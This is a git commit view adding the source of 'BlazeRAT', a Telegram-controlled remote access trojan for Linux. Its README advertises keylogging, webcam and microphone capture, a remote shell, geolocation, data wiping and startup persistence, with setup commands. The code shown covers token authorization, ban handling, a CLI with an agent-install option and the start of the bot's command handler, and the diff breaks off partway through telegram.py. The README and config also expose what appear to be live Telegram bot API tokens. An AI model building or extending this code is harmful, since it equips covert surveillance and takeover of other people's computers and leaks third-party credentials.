Przeglądaj źródła

fixed in 06/18/2024

faust 4 tygodni temu
commit
e12daee36b

+ 13 - 0
.gitignore

@@ -0,0 +1,13 @@
+/services/__pycache__
+/core/__pycache__
+/__pycache__
+/venv/
+token.txt
+conf.txt
+1.txt
+2.txt
+3.txt
+
+
+
+*.pyc

BIN
Images/logo.png


BIN
Images/youtube.JPG


+ 201 - 0
LICENSE

@@ -0,0 +1,201 @@
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

+ 74 - 0
README.md

@@ -0,0 +1,74 @@
+<p align="center">
+  <img src="Images/logo.png"> <br>
+  <b>:fire: Control your :penguin: Linux home computer with telegram bot.</b> <br>
+  <i>Tested on Ubuntu and Manjaro.</i>
+</p>
+
+# :construction: Disclaimer
+
+I, the creator, am not responsible for any actions, and or damages, caused by this software.
+You bear the full responsibility of your actions and acknowledge that this software was created for educational purposes only.
+This software's main purpose is NOT to be used maliciously, or on any system that you do not own, or have the right to use.
+By using this software, you automatically agree to the above.
+
+## :herb: Functions:
+
+- [x] Desktop Screenshot
+- [x] Webcam Screenshot/Video
+- [x] Microphone Recorder
+- [x] Keylogger
+- [x] Geolocation based on IP/BSSID
+- [x] Filemanager
+- [x] Taskmanager
+- [x] Remote Shell
+- [x] Remote keyboard
+- [x] Power control (shutdown, restart, suspend, logoff)
+- [x] Volume control
+- [x] Wipe user data (browsers history, passwords, cookies...)
+- [x] Rights management using authorization tokens
+
+## :hammer: Installation:
+
+- Arch based: `sudo pacman -S python3 python3-pip amixer portaudio xdotool --noconfirm`
+- Debian based: `sudo apt install python3 python3-pip amixer portaudio xdotool -y`
+- Ubunut based: `sudo apt install python3 python3-pip alas-utils portaudio19-dev xdotool -y`
+
+```bash
+git clone https://github.com/LimerBoy/BlazeRAT
+cd BlazeRAT/BlazeRAT/
+pip3 install --user -r requirements.txt
+```
+
+## :gear: Initialization:
+
+1.  You need to save your telegram bot token
+
+```bash
+python3 main.py --InitApiToken 6966673170:AAGW5S7JNhdXh5m00Ab66nbX8fVgpmuK1Yg
+```
+
+2.  Now you need to create a token by which you will log in to the bot.  
+    :bell: _Token with full access:_
+    ```bash
+    python3 main.py --TokenCreate --name root --perms "*"
+    ... Created new token '681fb124-9009-4a9b-964d-030c55c274b7', with permissions: *
+    ```
+    :no*bell: \_Limited access token:*
+    ```bash
+    python3 main.py --TokenCreate --name observer --perms SCREENSHOT WEBCAMERA KEYLOGGER LOCATION
+    ... Created new token '52eff873-9c14-4c2b-8729-b2c6367925b7', with permissions: SCREENSHOT, WEBCAMERA, KEYLOGGER, LOCATION
+    ```
+3.  Add to startup
+
+```bash
+python3 main.py --InstallAgent
+```
+
+
+
+
+
+
+I will instal it later
+I will
+I will

+ 35 - 0
config.py

@@ -0,0 +1,35 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+from os import path
+from services.startup import CURRENT_DIRECTORY
+
+# Read telegram bot api token
+def ReadTelegramBotAPI_Token() -> str:
+    token_file = path.join(CURRENT_DIRECTORY, "token.txt")
+    if not path.exists(token_file):
+        return ""
+    with open(token_file, "r") as api_token:
+        return api_token.read()
+
+# Telegram Bot API token
+token = ReadTelegramBotAPI_Token()  #"1372352235:AAF_a2mqhyak1sBJl0IaDah85Ioy2MMB7Yc"
+# Request password from user after expiration
+auth_expire_time = 3600
+# Permissions list
+perms = {
+    "TASKMANAGER": "Kill running processes",
+    "FILEMANAGER": "List files, directories",
+    "FILETRANSFER": "Download & Upload files, dirs",
+    "INFORMATION": "Get system information",
+    "MICROPHONE": "Record audio from microphone",
+    "SCREENSHOT": "Get desktop screenshot",
+    "WEBCAMERA": "Get webcam screenshots & videos",
+    "UNINSTALL": "Uninstall from system",
+    "KEYLOGGER": "Record keyboard events",
+    "KEYBOARD": "Control keyboard buttons",
+    "LOCATION": "Get location based on BSSID",
+    "VOLUME": "Control system volume",
+    "SHELL": "Execute system commands",
+    "POWER": "Control computer power",
+    "WIPE": "Wipe user data",
+}

+ 92 - 0
core/banned.py

@@ -0,0 +1,92 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+"""
+Author : LimerBoy
+github.com/LimerBoy/BlazeRAT
+
+Notes :
+    The file is needed to block users
+    and changes in the number of attempts to enter the token.
+"""
+
+# Import modules
+from core.database import connection, cursor, lock
+
+""" Change user attempts """
+def SetAttempts(chatid: int, username: str = "Unknown", attempts: int = 5) -> str:
+    lock.acquire(True)
+    sql = "SELECT id FROM banned WHERE chatid=?"
+    cursor.execute(sql, (chatid,))
+    # Change attempts count to user
+    result = cursor.fetchone()
+    if result is not None:
+        sql = "UPDATE banned SET attempts=?, username=? WHERE chatid=?"
+    else:
+        sql = "INSERT INTO banned (attempts, username, chatid) VALUES (?, ?, ?)"
+    # Execute sql & commit changes
+    cursor.execute(sql, (attempts, username, chatid))
+    connection.commit()
+    lock.release()
+    return sql[:6]
+
+""" Change user ban state """
+def BanUser(chatid: int, username: str = "Unknown", state: bool = True, reason: str = "") -> None:
+    lock.acquire(True)
+    sql = "SELECT id FROM banned WHERE chatid=?"
+    cursor.execute(sql, (chatid,))
+    # Change ban state to user
+    result = cursor.fetchone()
+    if result is not None:
+        sql = "UPDATE banned SET state=?, username=?, reason=? WHERE chatid=?"
+    else:
+        sql = "INSERT INTO banned (state, username, reason, chatid) VALUES (?, ?, ?, ?)"
+    # Set user is banned
+    cursor.execute(sql, (int(state), username, reason, chatid))
+    # Remove row from authorized users
+    if state is True:
+        sql = "DELETE FROM authorized WHERE chatid=?"
+        cursor.execute(sql, (chatid,))
+    connection.commit()
+    lock.release()
+
+
+""" Get user attempts count """
+def GetAttempts(chatid: int) -> int:
+    sql = "SELECT attempts FROM banned WHERE chatid=?"
+    cursor.execute(sql, (chatid,))
+    result = cursor.fetchone()
+    if result is not None:
+        return int(result[0])
+    else:
+        return 5
+
+""" User is banned """
+def UserIsBanned(chatid: int) -> tuple:
+    sql = "SELECT state, reason FROM banned WHERE chatid=?"
+    cursor.execute(sql, (chatid,))
+    result = cursor.fetchone()
+    if result is not None:
+        return bool(result[0]), result[1]
+    else:
+        return False, "User not found"
+
+
+""" Get banned users list """
+def EnumerateBannedUsers() -> str:
+    result = "Banned users list\n"
+    sql = "SELECT chatid, username, reason FROM banned WHERE state=1 OR attempts=0"
+    cursor.execute(sql)
+    users = cursor.fetchall()
+    # No banned users
+    if len(users) == 0:
+        return "There is no banned users"
+    # Enum
+    for user in users:
+        chatid = user[0]
+        username = user[1]
+        reason = user[2]
+
+        result += f"CHATID: {chatid},\nREASON: {reason},\nUSERNAME: {username}\n\n"
+
+    return result

+ 157 - 0
core/cli.py

@@ -0,0 +1,157 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+# Import modules
+from sys import exit
+from config import perms
+from argparse import ArgumentParser
+from core.banned import \
+    EnumerateBannedUsers, BanUser
+from core.tokens import \
+    TokenCreate, TokenDelete, EnumeratePermissions, WriteTelegramBotAPI_Token
+from services.startup import \
+    ServiceInstalled, ServiceInstall, ServiceUninstall
+
+"""
+Author : LimerBoy
+github.com/LimerBoy/BlazeRAT
+
+Notes :
+    The file is needed to process actions by the command line
+    and store the banner.
+"""
+
+""" Handle cli commands """
+def ParseArgs():
+    parser = ArgumentParser(description="BlazeRAT - Command Line Interface")
+
+    # Token manager
+    parser.add_argument("--perms", nargs="+", type=str,
+                        metavar=", ".join(perms),
+                        help="Permissions list for new token")
+    parser.add_argument("--name", type=str,
+                        help="Name for token")
+    parser.add_argument("--TokenCreate", action="store_true",
+                        help="Create new token with permissions")
+    parser.add_argument("--TokenDelete", action="store_true",
+                        help="Delete token with permissions")
+    parser.add_argument("--TokenPerms", action="store_true",
+                        help="Get token permissions")
+
+    # Telegram API token manager
+    parser.add_argument("--InitApiToken", type=str,
+                        metavar="<token>",
+                        help="Telegram Bot API token")
+
+    # Ban manager
+    parser.add_argument("--Banlist", action="store_true",
+                        help="Get banned users list")
+    parser.add_argument("--BanUser", action="store_true",
+                        help="Ban user")
+    parser.add_argument("--UnbanUser", action="store_true",
+                        help="Unban user")
+    parser.add_argument("--chatid", type=int,
+                        help="Telegram chatid")
+    parser.add_argument("--reason", type=str,
+                        help="Ban reason")
+    # Startup
+    parser.add_argument("--InstallAgent", action="store_true",
+                        help="Add to startup")
+    parser.add_argument("--UninstallAgent", action="store_true",
+                        help="Remove from startup")
+
+    args = parser.parse_args()
+
+    # Require --perms and --name for --TokenCreate
+    if args.TokenCreate and (args.perms is None or args.name is None):
+        parser.error("--TokenCreate requires --perms and --name")
+
+    # Require --name for --TokenDelete
+    elif args.TokenDelete and args.name is None:
+        parser.error("--TokenDelete requires --name")
+
+    # Require --chatid and reason for --BanUser
+    elif args.BanUser and (args.chatid is None or args.reason is None):
+        parser.error("--chatid and --reason arguments required to ban user")
+
+    # Require --chatid for --UnbanUser
+    elif args.BanUser and args.chatid is None:
+        parser.error("--chatid argument required to unban user")
+
+    # Create token:
+    # Example: python3 main.py --TokenCreate --name root --perms 'WEBCAMERA' 'MICROPHONE' 'SHELL'
+    if args.TokenCreate:
+        token = TokenCreate(args.name, args.perms)
+        exit(f"[+] Created new token {repr(token)}, with permissions: {', '.join(args.perms)}")
+
+    # Delete token:
+    # Example: python3 main.py --TokenDelete --name root
+    elif args.TokenDelete:
+        if TokenDelete(args.name):
+            exit(f"[+] Token {repr(args.name)} deleted")
+        else:
+            exit(f"[!] Token {repr(args.name)} does not exists")
+
+    # Enumerate token permissions:
+    # Example: python3 main.py --TokenPerms --name root
+    elif args.TokenPerms:
+        out = EnumeratePermissions(args.name, have=True)
+        exit(out)
+
+    # Write telegram bot api token:
+    # Example: python3 main.py --InitApiToken 1372352235:AAF_a2mqhyak1sBJl0IaDah85Ioy2MMB7Yc
+    elif args.InitApiToken:
+        WriteTelegramBotAPI_Token(args.InitApiToken)
+        exit(f"[+] Telegram API token saved")
+
+    # Add to startup:
+    # Example: python3 main.py --InstallAgent
+    elif args.InstallAgent:
+        if not ServiceInstalled():
+            out = ServiceInstall()
+            exit(out)
+        else:
+            exit("[!] BlazeRAT agent already installed!")
+
+    # Remove from startup:
+    # Example: python3 main.py --UninstallAgent
+    elif args.UninstallAgent:
+        if ServiceInstalled():
+            out = ServiceUninstall()
+            exit(out)
+        else:
+            exit("[!] BlazeRAT not installed!")
+
+    # Get banned users list:
+    # Example: python3 main.py --Banlist
+    elif args.Banlist:
+        out = EnumerateBannedUsers()
+        exit(out)
+
+    # Ban user:
+    # Example: python3 main.py --BanUser --chatid 2345123 --reason 'Tokens bruteforce'
+    elif args.BanUser:
+        BanUser(args.chatid, "Unknown", True, args.reason)
+        exit(f"[+] User {args.chatid} is banned with reason: {args.reason}")
+
+    # Unban user:
+    # Example: python3 main.py --UnbanUser --chatid 2345123
+    elif args.UnbanUser:
+        BanUser(args.chatid, "", False)
+        exit(f"[+] User {args.chatid} is unbanned")
+
+
+"""
+Terminal banner
+You can create own banner here:
+http://patorjk.com/software/taag/
+"""
+banner = (r"""
+   ______   __                       _______            _
+  |_   _ \ [  |                     |_   __ \          / |_
+    | |_) | | |  ,--.   ____  .---.   | |__) |   ,--. `| |-'
+    |  __'. | | `'_\ : [_   ]/ /__\\  |  __ /   `'_\ : | |
+   _| |__) || | // | |, .' /_| \__., _| |  \ \_ // | |,| |,
+  |_______/[___]\'-;__/[_____]'.__.'|____| |___|\'-;__/\__/
+                                    # Created By LimerBoy #
+""")

+ 83 - 0
core/database.py

@@ -0,0 +1,83 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+# Import modules
+from os import path
+from time import time
+from threading import Lock
+from config import auth_expire_time
+from sqlite3 import connect as sql_connect
+from services.startup import CURRENT_DIRECTORY
+
+"""
+Author : LimerBoy
+github.com/LimerBoy/BlazeRAT
+
+Notes :
+    The file is needed to authorize users
+    and check access rights.
+"""
+
+# Check if database exists
+db_path = path.join(CURRENT_DIRECTORY, "users.db")
+assert path.exists(db_path), "Database 'users.db' not found"
+
+# Create connection and cursor
+lock = Lock()
+connection = sql_connect(
+    db_path,
+    check_same_thread=False
+)
+cursor = connection.cursor()
+
+""" Check if user is authorized """
+def UserIsAuthorized(chatid: int) -> bool:
+    lock.acquire(True)
+    sql = "SELECT time, token FROM authorized WHERE chatid=?"
+    cursor.execute(sql, (chatid,))
+    result = cursor.fetchone()
+    lock.release()
+    if result is not None:
+        return time() - result[0] < auth_expire_time and result[1]
+    else:
+        return False
+
+""" Authorize user """
+def AuthorizeUser(chatid: int, token_name: str) -> str:
+    lock.acquire(True)
+    # Remove from banlist
+    sql = "DELETE FROM banned WHERE chatid=?"
+    cursor.execute(sql, (chatid,))
+    # Insert token
+    sql = "SELECT id FROM authorized WHERE chatid=?"
+    cursor.execute(sql, (chatid,))
+    # Update time in table
+    if cursor.fetchone() is not None:
+        sql = "UPDATE authorized SET token=?, time=? WHERE chatid=?"
+    else:
+        sql = "INSERT INTO authorized (token, time, chatid) VALUES (?, ?, ?)"
+    # Execute sql & commit changes
+    cursor.execute(sql, (token_name, time(), chatid))
+    connection.commit()
+    lock.release()
+    return sql[:6]
+
+""" Deauthorize user """
+def DeauthorizeUser(chatid: int) -> None:
+    lock.acquire(True)
+    sql = "DELETE FROM authorized WHERE chatid=?"
+    cursor.execute(sql, (chatid,))
+    connection.commit()
+    lock.release()
+
+""" Get token by chat id """
+def GetUserToken(chatid: int) -> str:
+    sql = "SELECT token FROM authorized WHERE chatid=?"
+    cursor.execute(sql, (chatid,))
+    return cursor.fetchone()[0]
+
+""" Check if user have permission """
+def UserContainsPermission(chatid: int, permission: str) -> bool:
+    from core.tokens import TokenContainsPermission
+    token_name = GetUserToken(chatid)
+    return TokenContainsPermission(token_name, permission)

+ 30 - 0
core/logger.py

@@ -0,0 +1,30 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+# Import modules
+from time import ctime
+from os import path, mkdir
+from services.startup import CURRENT_DIRECTORY
+
+"""
+Author : LimerBoy
+github.com/LimerBoy/BlazeRAT
+
+Notes :
+    The file is needed to record
+    all actions of all users.
+"""
+
+LOG_DIR = path.join(CURRENT_DIRECTORY, "logs")
+
+# Create logs dir if not exists
+if not path.exists(LOG_DIR):
+    mkdir(LOG_DIR)
+
+""" Log text to file """
+def Log(text: str, chatid: int) -> None:
+    text = f"{ctime()} - {text}"
+    file = path.join(LOG_DIR, str(chatid) + ".log")
+    print(text)
+    with open(file, "a") as log_file:
+        log_file.write(text + "\n")

+ 137 - 0
core/messages.py

@@ -0,0 +1,137 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+"""
+Author : LimerBoy
+github.com/LimerBoy/BlazeRAT
+
+Notes :
+    The file is needed to store the text and,
+    if necessary, quickly translate it into other languages.
+"""
+
+
+""" Authorization messages """
+class auth:
+    incorrect_token = "⛔️ Incorrect token, attempts left %i"
+    user_authorized = "🔑 User %s authorized as '%s',\nsession will expire at %s"
+    already_authorized = "⚠️ You are already authorized!"
+    not_authorized = "⛔️ Access denied, you need to authorize!"
+    permission_not_found = "⚠️ You don't have permissions to do this!"
+    user_deauthorized = "☠️ User %s deauthorized"
+    user_is_banned = "💣 Account is banned, reason '%s'"
+
+""" Services messages """
+class services:
+    # Desktop screenshot
+    desktop_screenshot_captured = "🌃 Desktop screenshot taken"
+    # Webcam screenshot
+    webcam_screenshot_captured = "📹 Webcam screenshot taken"
+    webcam_screenshot_button = "📹 Take screenshot"
+    webcam_start_recording_button = "▶️ Start video recording"
+    webcam_stop_recording_button = "⏹ Stop video recording"
+    webcam_select_action = "🎥 Select an action...\nDevice index is %i"
+    webcam_recording_started = "📸 Webcam recording started"
+    webcam_recording_stopped = "📷 Webcam recording stopped"
+    webcam_recording_not_started = "📷 Unable to stop recording because it was not started!"
+    webcam_recording_not_stopped = "📸 It is impossible to start recording as it is already started!"
+    webcam_failed_open = "📷 Failed to open webcam %i"
+    # System audio volume control
+    volume_get_level_button = "🔉 Current level is %i"
+    volume_set_level_button = "🔊 Set %i"
+    volume_get_level = "🔉 Current volume level is %i"
+    volume_set_level = "🔊 Changed volume level to %i"
+    # Micophone recorder
+    microphone_start_recording_button = "▶️ Start recording"
+    microphone_stop_recording_button = "⏹ Stop recording"
+    microphone_select_action = "🎤 Select an action..."
+    microphone_recording_started = "🎙 Recording started"
+    microphone_recording_stopped = "🎙 Recording stopped"
+    microphone_recording_not_started = "🎤 Unable to stop recording because it was not started!"
+    microphone_recording_not_stopped = "🎤 It is impossible to start recording as it is already started!"
+    # Keylogger controls
+    keylogger_start_recording_button = "▶️ Start logger"
+    keylogger_stop_recording_button = "⏹ Stop logger"
+    keylogger_get_logs_button = "⌨️ Retrieve logs"
+    keylogger_clean_logs_button = "♻️️ Clean logs"
+    keylogger_logs_received = "📄 Here is keylogger logs"
+    keylogger_logs_cleaned = "🚮 Keylogger logs cleaned"
+    keylogger_recording_started = "⌨️ Keylogger started"
+    keylogger_recording_stopped = "⌨️ Keylogger stopped"
+    keylogger_recording_not_started = "⁉️Unable to stop keylogger because it was not started!"
+    keylogger_recording_not_stopped = "⁉️It is impossible to start keylogger as it is already started!"
+    # Power controls
+    power_control = "🔋 Select power command:"
+    power_received = "🔋 Power event %s received"
+    power_shutdown = "🔻 Shutdown"
+    power_suspend = "🔻 Suspend"
+    power_reboot = "🔻 Reboot"
+    power_logout = "🔻 Log out"
+    # Location
+    location_success = "🗺 Location:\n\tLatitude: %f\n\tLongitude: %f\n\tRange: %i\n\tAddress: \"%s\"\n\n📡 %s"
+    location_gateway_detection_failed = "📡 Failed to get default gateway!"
+    location_arp_request_failed = "📡 Failed to get gateway mac address!"
+    location_api_request_failed = "📡 Failed to make API request!"
+    # Shell commands
+    shell_session_opened = "⚙️ Terminal session opened"
+    shell_session_closed = "⚙️ Terminal session closed"
+    shell_command_is_empty = "🐚 Input command is empty!"
+    shell_command_executed = "🐚 System command executed.\n%s"
+    shell_pwd_success = "📂 Current directory is:\n%s"
+    shell_chdir_success = "📂 Current directory changed to:\n%s"
+    shell_chdir_not_found = "📂 Directory not found:\n%s"
+    shell_chdir_not_a_dir = "📂 Not a directory:\n%s"
+    shell_chdir_failed = "📂 (%s)\nFailed to change directory to:\n%s"
+    # Process manager
+    taskmanager_process_list = "⚙ Taskmanager (%s) running %i processes:"
+    taskmanager_process_kill_success = "🔫 Process %s (%i) killed"
+    taskmanager_process_kill_failed = "🔫 Failed to kill process %i, error:\n%s"
+    # Wipe browsers data
+    wipe_files_count = "🧨 %i files will be deleted beyond recovery"
+    wipe_confirm = "♻️ Do you want to clean browsers data?"
+    wipe_agree = "✅ Wipe all data"
+    wipe_disagree = "🛑 NO!"
+    wipe_cancelled = "✅ Wipe cancelled"
+    wipe_removed = "🗑 Removed %i files from system"
+    # Installation
+    stub_install = "👻 Installing service..."
+    stub_uninstall = "🗑 Uninstalling service..."
+
+
+""" File transfer and filemanager """
+class file:
+    upload_path_not_found = "📄 File %s not found!"
+    download_file_success = "📄 File %s saved"
+    start_file_success = "📄 Start file:\n%s"
+    remove_directory_success = "🗑 Directory removed:\n%s"
+    remove_directory_failed = "🗑 (%s)\nFailed to remove directory:\n%s"
+    remove_file_success = "🗑 File removed:\n%s"
+    remove_file_failed = "🗑 (%s)\nFailed to remove file:\n%s"
+
+""" User messages """
+class user:
+    name_anonymous = "Anonymous"
+    help = ("""
+🔑 *[Auth]*
+/authorize <token>
+/deauthorize
+/permissions
+🗃 *[Files]*
+/download <file/dir>
+/filemanager
+👁‍🗨 *[Spying]*
+/location
+/keylogger
+/information
+/webcam <device>
+/screenshot
+/microphone
+🐚 *[System]*
+/taskmanager
+/uninstall
+/keyboard
+/volume
+/power
+/shell
+/wipe
+    """)

+ 524 - 0
core/telegram.py

@@ -0,0 +1,524 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+# Import modules
+import telebot # pip3 install pyTelegramBotAPI
+from time import time, ctime, sleep
+# Import helpers
+import core.logger as Logger
+import core.messages as Messages
+import core.database as Database
+import core.banned as BanManager
+from config import token, auth_expire_time
+from core.tokens import VerifyToken, VerifyToken2, EnumeratePermissions
+# Import command modules
+import services.wipe as Wipe
+import services.power as Power
+import services.startup as Autorun
+import services.filemanager as Files
+import services.volume as VolumeLevel
+import services.shell as SystemCommand
+import services.keylogger as Klogger
+import services.keyboard as Keyboard
+import services.transfer as FileTransfer
+import services.location as TrackLocation
+import services.information as SystemInfo
+import services.webcamera as WebcamRecorder
+import services.taskmanager as ProcessManager
+import services.screenshot as DesktopScreenshot
+import services.microphone as MicrophoneRecorder
+
+"""
+Author : LimerBoy
+github.com/LimerBoy/BlazeRAT
+
+Notes :
+    The file is needed to receive commands from the telegram bot
+    and process them.
+"""
+
+# Bot
+bot = telebot.TeleBot(token)
+
+""" Help """
+@bot.message_handler(commands=["help"])
+def Help(message):
+    bot.reply_to(message, Messages.user.help, parse_mode="Markdown")
+
+""" Authorize user """
+@bot.message_handler(commands=["authorize"])
+def Authorize(message):
+    token = message.text[11:]
+    chatid = message.chat.id
+    username = message.chat.username
+    username = Messages.user.name_anonymous if username is None else username
+    # Prevent authorization if user is banned
+    ban_state, reason = BanManager.UserIsBanned(chatid)
+    if ban_state is True:
+        return bot.send_message(chatid, Messages.auth.user_is_banned % reason)
+    # If user is already authorized
+    if Database.UserIsAuthorized(chatid):
+        return bot.send_message(chatid, Messages.auth.already_authorized)
+    # Check user auth password
+    verify_state, name = VerifyToken(token)
+    # verify_state, name = VerifyToken2(token)
+    if verify_state is True:
+        # Log user auth event
+        Logger.Log(f"Auth >> Logged in successfully using token {name}", chatid)
+        # Delete message with token
+        bot.delete_message(chatid, message.message_id)
+        # Get session expire time
+        expire = ctime(time() + auth_expire_time)
+        # Insert user to database
+        Database.AuthorizeUser(chatid, name)
+        bot.send_message(chatid, Messages.auth.user_authorized % (username, name, expire))
+    else:
+        attempts = BanManager.GetAttempts(chatid)
+        # Ban user
+        if attempts == 0:
+            Logger.Log(f"Auth >> User banned, reason: 'Token bruteforce'", chatid)
+            BanManager.BanUser(chatid, username, True, "Token bruteforce")
+            bot.send_message(chatid, Messages.auth.user_is_banned % "Bruteforce")
+        else:
+            attempts -= 1
+            Logger.Log(f"Auth >> Failed log in using token {token}, attempt left {attempts}", chatid)
+            BanManager.SetAttempts(chatid, username, attempts)
+            bot.send_message(chatid, Messages.auth.incorrect_token % attempts)
+
+""" Deauthorize user """
